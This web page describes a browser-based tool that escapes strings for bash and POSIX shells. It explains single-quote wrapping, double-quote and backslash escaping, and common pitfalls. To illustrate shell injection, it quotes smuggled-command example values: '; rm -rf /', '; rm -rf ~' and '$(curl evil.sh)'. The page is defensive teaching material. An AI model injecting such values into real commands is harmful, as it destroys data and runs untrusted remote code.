Why do I need to escape an argument for the shell at all?

Because the shell splits a command on spaces and acts on characters like $ ` \ " * ? and the newline before your program ever sees them. Pass the filename my file.txt unquoted and rm reads it as two arguments, my and file.txt. Pass $HOME and the shell expands it to your home directory instead of the literal text. Worse, an unescaped value built from untrusted input can smuggle in ; rm -rf / and run it. Escaping wraps or neutralizes those characters so the argument arrives intact.

Which mode is the safest?

Single-quote wrap. Inside single quotes the shell treats every character literally, including $ ` \ ! and spaces, so nothing expands or splits. The whole string goes inside one pair of single quotes, for example a b $c becomes the quoted text with no expansion. The only character that needs special handling is the single quote itself, which is why this tool uses the close-escape-reopen idiom described below. For anything built from user input, prefer this mode.

How does the close-escape-reopen single-quote trick work?

A single quote can never appear inside a single-quoted string, so you cannot just backslash it. The fix is to close the quote, emit an escaped single quote, then reopen the quote. So the word it's becomes the sequence 'it'\''s' which the shell reads as it, then a literal quote, then s, joined into one argument it's. It looks odd but it is the standard, portable way every shell library escapes single quotes.

Why does double-quote mode still escape the dollar sign?

Inside double quotes the shell still performs variable and command expansion, so "$HOME" prints your home directory and "`date`" runs date. Double-quote mode backslashes exactly the four characters the shell still acts on inside quotes, namely the double quote, dollar sign, backtick and backslash, turning $HOME into the escaped form so it stays literal. Spaces and most other characters are already safe inside double quotes, so they are left alone.

How do I safely pass a filename that contains spaces?

Wrap it. The filename my report 2026.pdf must not be passed bare or the shell sees three arguments. Single-quote wrap gives the quoted form that survives spaces, and double-quote wrap works too. Backslash mode turns each space into backslash-space, which also works but is harder to read. Paste the name, copy the single-quoted result, and your cp, mv or rm command treats the whole thing as one path.

What does the reverse (unescape) mode do?

It best-effort decodes a quoted shell argument back to the plain text. Paste 'my file.txt' and you get my file.txt back; paste a double-quoted or backslash-escaped value and it strips the quoting too, including the close-escape-reopen idiom for single quotes. It is handy for reading what a copied command actually runs, or for recovering the original literal from something a script generated. Escape then unescape returns exactly what you started with.

Pass a filename with spaces to cp, mv or rm

You have a download named invoice 2026 final.pdf and need to move it from a script. Pasting it bare into mv makes the shell read three arguments and the command fails or moves the wrong files. Paste the name here, copy the single-quoted result, and drop it into your command as one safe path. No more renaming files just to avoid the spaces.

Build a shell command from untrusted user input

A web form or CLI takes a value and you assemble a shell command from it. Without escaping, a value like ; rm -rf ~ or $(curl evil.sh) runs as code, not data. Single-quote wrap the value first and the shell treats it as one literal argument with no expansion or splitting, which closes the most common shell injection hole.

Embed a literal dollar sign or backtick in a command

You want to echo the literal text Price is $9.99 or pass a password containing a backtick. Unescaped, the shell tries to expand $9 and run the backticked text. Escape it here and the special characters arrive as plain text, so the value your program receives is exactly what you typed instead of a mangled, partially expanded string.

Decode a copied command to see what it really runs

Someone pastes you a one-liner full of quotes and backslashes and you want to know the actual argument before you run it. Switch to reverse mode, paste the quoted chunk, and read back the plain text. It is a fast safety check for commands copied off the internet, where a quoted blob can hide a surprising payload.

Shell Escape: Quote a String Safely for Bash and POSIX Shells

Quote any string for bash safely: single-quote wrap, double-quote escape, backslash mode, and reverse, all in your browser

Runs locally
Category Developer & DevOps
Best for Formatting, validating, shrinking, or inspecting code-adjacent text.

Mode

Wraps the whole string in single quotes. A literal ' becomes '\'' . Inside single quotes $ ` \ ! are all literal, so this is the safest option.

Raw text

Escaped for shell

'my file.txt'

What this tool does

Shell escape turns an arbitrary string into a form you can paste straight into a bash or POSIX shell command without it breaking the line, leaking a variable, or opening an injection hole. A filename like my file.txt, an argument holding $HOME, a literal quote, a backtick or a newline are all handled. Pick one of three modes: single-quote wrap (the safest, where the whole string goes inside single quotes and an inner quote becomes the classic close-escape-reopen idiom), double-quote escape (which backslashes the four characters still special inside double quotes), or backslash mode (which prefixes every shell metacharacter individually). A reverse mode decodes a quoted argument back to the plain text, so you can read what a copied command actually contains. Everything runs as plain JavaScript in your tab, nothing is uploaded, and the input round-trips through the URL so a shared link reopens the exact same escaped argument.

Tool details

Input: Files + Text; The page exposes text boxes, numeric controls, file pickers, or structured inputs depending on the tool.
Output: Live result + Copy; The result area focuses on usable output, with copy, download, or preview actions when supported.
Privacy: Browser-side processing; The main tool logic does not call an external API, so inputs normally stay in the current tab.
Save / share: Shareable URL state; Key settings are encoded in the URL so another person can reopen the same setup.
Performance budget: Initial JS <= 9 KB; No WASM budget is declared, keeping the tool quick to open on mobile.
Best fit: Developer & DevOps · Developer; Category and role tags drive related tools, internal links, and quick fit checks.

How to use

1. Input

Paste or drop your content into the tool panel.
2. Process

Click the button. All processing is local in your browser.
3. Copy / Download

Copy the result or download to disk in one click.

How Shell Escape fits into your work

Use it in the small gaps between coding, reviewing, debugging, and shipping.

Developer jobs

Formatting, validating, shrinking, or inspecting code-adjacent text.
Preparing snippets for documentation, tickets, commits, or handoff.
Checking a small payload quickly without switching tools.

Developer checks

Run irreversible transforms like minify or obfuscate on a copy.
Keep secrets out of pasted snippets unless the tool explicitly stays local.
Use your normal tests or linter before shipping transformed code.

Good next steps

These links move the current task into a more complete workflow.

Real-world use cases

Pass a filename with spaces to cp, mv or rm
You have a download named invoice 2026 final.pdf and need to move it from a script. Pasting it bare into mv makes the shell read three arguments and the command fails or moves the wrong files. Paste the name here, copy the single-quoted result, and drop it into your command as one safe path. No more renaming files just to avoid the spaces.
Build a shell command from untrusted user input
A web form or CLI takes a value and you assemble a shell command from it. Without escaping, a value like ; rm -rf ~ or $(curl evil.sh) runs as code, not data. Single-quote wrap the value first and the shell treats it as one literal argument with no expansion or splitting, which closes the most common shell injection hole.
Embed a literal dollar sign or backtick in a command
You want to echo the literal text Price is $9.99 or pass a password containing a backtick. Unescaped, the shell tries to expand $9 and run the backticked text. Escape it here and the special characters arrive as plain text, so the value your program receives is exactly what you typed instead of a mangled, partially expanded string.
Decode a copied command to see what it really runs
Someone pastes you a one-liner full of quotes and backslashes and you want to know the actual argument before you run it. Switch to reverse mode, paste the quoted chunk, and read back the plain text. It is a fast safety check for commands copied off the internet, where a quoted blob can hide a surprising payload.

Common pitfalls

Double quoting a value that already expands. Inside double quotes $VAR and `cmd` still run, so wrapping untrusted input in double quotes does not stop injection. Use single-quote wrap when the value comes from outside your program, and reserve double quotes for text you control that needs a variable to expand on purpose.
Trying to backslash a single quote inside single quotes. A backslash is literal inside single quotes, so 'it\'s' does not work and leaves the shell waiting for a closing quote. The only correct way is the close-escape-reopen idiom 'it'\''s', which this tool produces automatically. Hand-written escapers get this wrong constantly.
Forgetting the newline trap in backslash mode. A backslash directly before a newline is a line continuation, not a literal newline, so escaping a multi-line value char by char silently joins the lines. This tool emits a quoted newline instead, but a naive escaper that only prefixes specials with backslash will eat your line breaks.

Privacy

The text you paste, the escaping, the reverse pass and the result are all computed by plain JavaScript inside your browser tab. Nothing is sent to a server and nothing is logged. The one thing to know: the input is encoded into the page URL so a shared link reopens the same escaped argument, which means a link you paste into chat records that text in the recipient server's access log. If you are escaping a password, token or any secret to put on a command line, do not share the URL. Use the copy button and paste only the result, and remember that secrets on a real command line can also land in your shell history.

FAQ

Tool combos

Folks in your role tend to reach for these alongside this tool.

Developer

Browse all tools for this role

Shell Escape: Quote a String Safely for Bash and POSIX Shells

What this tool does

Tool details

How to use

1. Input

2. Process

3. Copy / Download

How Shell Escape fits into your work

Developer jobs

Developer checks

Good next steps

Real-world use cases

Pass a filename with spaces to cp, mv or rm

Build a shell command from untrusted user input

Embed a literal dollar sign or backtick in a command

Decode a copied command to see what it really runs

Common pitfalls

Privacy

FAQ

Bash Cheatsheet

String Escape / Unescape

Regex Escape

Find and Replace Text

AI Eval Planner

API Key Generator

ASCII Table Generator

ASCII Table Reference

awk + sed Cheatsheet

AWS CLI Cheatsheet

Barcode Generator

Number Base Converter